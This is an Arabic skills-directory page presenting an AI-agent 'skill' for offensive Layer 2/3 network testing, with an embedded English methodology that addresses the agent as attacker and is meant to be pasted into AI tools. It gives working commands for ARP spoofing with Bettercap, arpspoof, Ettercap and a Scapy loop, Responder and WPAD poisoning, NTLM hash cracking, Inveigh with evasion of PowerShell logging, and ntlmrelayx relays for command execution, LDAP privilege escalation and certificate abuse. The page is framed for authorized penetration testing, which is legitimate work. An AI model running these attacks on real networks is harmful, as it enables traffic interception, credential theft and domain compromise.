offensive-network-attacks
ما الذي تفعله
هذه المهارة منهجية لاختبار البنية التحتية الداخلية للشبكة، وتغطي نقاط ضعف ARP وتحليل الأسماء بالبث وDHCP وVLAN وIPv6. وهي موجهة لمختصي الأمن الذين يجرون تقييمات داخلية بإذن كتابي.
متى تستخدمها
- ✓عندما تجري تقييمًا شبكيًا داخليًا مصرّحًا به على مستوى الطبقة 2 أو 3.
- ✓عندما تريد التحقق هل تسمح الشبكة بتسميم تحليل الأسماء في اختبار موافق عليه.
- ✓عندما تحتاج إلى مراجعة حدود VLAN أو الإعداد التلقائي لـ IPv6 على شبكة داخلية.
رابط المهارة
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/network/offensive-network-attacks/SKILL.mdانسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.
طريقة الاستخدام
أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.
رسالة جاهزة للصق
لـ Claude Code أو Codex أو Cursor: شغّله داخل مجلد مشروعك وستُثبَّت المهارة.
نزّل ملف SKILL.md وضعه في مجلد مهارات وكيلك.
مثال على ما تطلبه من الذكاء الاصطناعي
“لدينا تصريح لإجراء اختبار شبكة داخلية. افحص هل شبكتنا معرّضة لتسميم تحليل الأسماء.”
5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.
كيف تعمل
تحدد المهارة أولًا موقعك في الشبكة، ثم ترصد حركة المرور بشكل سلبي. ثم تختبر نقاط الضعف ضمن النطاق، مثل تسميم تحليل الأسماء وهجمات الترحيل، وتسجل النتائج.
المحتوى التقني (ملف SKILL.md الأصلي)
النص الأصلي من المؤلف، مباشرة من GitHub.
Network Attacks (Layer 2/3) -- Offensive Methodology
You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
Quick Workflow
- Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
- Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
- Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
- Enable Responder poisoning to capture NTLMv2 hashes.
- Relay captured hashes with ntlmrelayx against hosts without SMB signing.
- ARP spoof the gateway for targeted MITM and credential interception.
- Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
- Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
ARP Spoofing
ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
Bettercap ARP Module
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof and Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
Gratuitous ARP with Scapy
from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)
Bypassing Static ARP Entries
Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.
LLMNR / NBT-NS / mDNS Poisoning
When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.
Responder Setup and Hash Capture
sudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt # NTLMv1 (weaker)
WPAD is a high-value vector: browsers query for wpad.dat via DNS then LLMNR/NBT-NS. The -w flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.
Inveigh (Windows-Native)
From a compromised Windows host, poison without dropping Linux tools:
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS logging
NTLMv1/v2 Relay with ntlmrelayx
When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8
Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.
DNS Poisoning
DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.
Rogue DNS Server via DHCP Option
الأسئلة الشائعة
ما تسميم تحليل الأسماء؟
هو أن يرد المهاجم على استعلامات الأسماء بالبث، فيمكن أن يكشف تجزئات تسجيل الدخول، لذلك تفحص المهارة إمكانيته.
ما الأدوات التي تذكرها؟
تذكر أدوات مثل Bettercap وResponder وmitm6 وEttercap وWireshark.
هل هي للاختبارات المصرّح بها فقط؟
نعم. كُتبت للتقييمات الداخلية بإذن كتابي.
التفاصيل
الوصف الأصلي من المؤلف
Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface.
repo: SnailSploit/Claude-Red
الشعبية
- نجوم GitHub
- 10k
- الترتيب
- #11963
- الترخيص
- MIT
- آخر تحديث
- 12/10/2026
التعليقات
- …
المزيد من المهارات من هذا المستودع
offensive-active-directory
10kيساعد وكيلك على تخطيط اختبار أمني مصرّح به لـ Active Directory، من رسم الشبكة إلى إيجاد مسارات الهجوم نحو Domain Admin.
offensive-netexec
10kيساعد وكيلك على استخدام أداة NetExec (nxc) في الاختبارات الشبكية المصرّح بها، وتغطي البروتوكولات والمصادقة وفحوص بيانات الاعتماد.
offensive-api-abuse
10kيساعد وكيلك على تخطيط اختبارات أمان API مصرّح بها تبحث عن إساءة منطق العمل ومخاطر GraphQL وحالات السباق.
offensive-api-security
10kيساعد وكيلك على إجراء اختبارات أمان مصرّح بها لواجهات REST وgRPC وWebSocket، استنادًا إلى قائمة OWASP API Top 10.
مهارات مشابهة
reverse-engineer-anything
422kيساعد وكيلك على فحص التطبيقات والحزم المنشورة من الداخل ليشرح الميزات ويقارن الإصدارات ويرشد إلى إعادة البناء، باستخدام أداة REA.
1password
394kيساعد وكيلك على إعداد واجهة سطر أوامر 1Password وتسجيل الدخول، وقراءة الأسرار أو حقنها دون طباعة قيمها في المحادثة.
healthcheck
394kيساعد وكيلك على تدقيق جهاز OpenClaw أو خادمه أمنيًا، مثل SSH والجدار الناري والتحديثات، ويقترح إصلاحات آمنة قابلة للتراجع.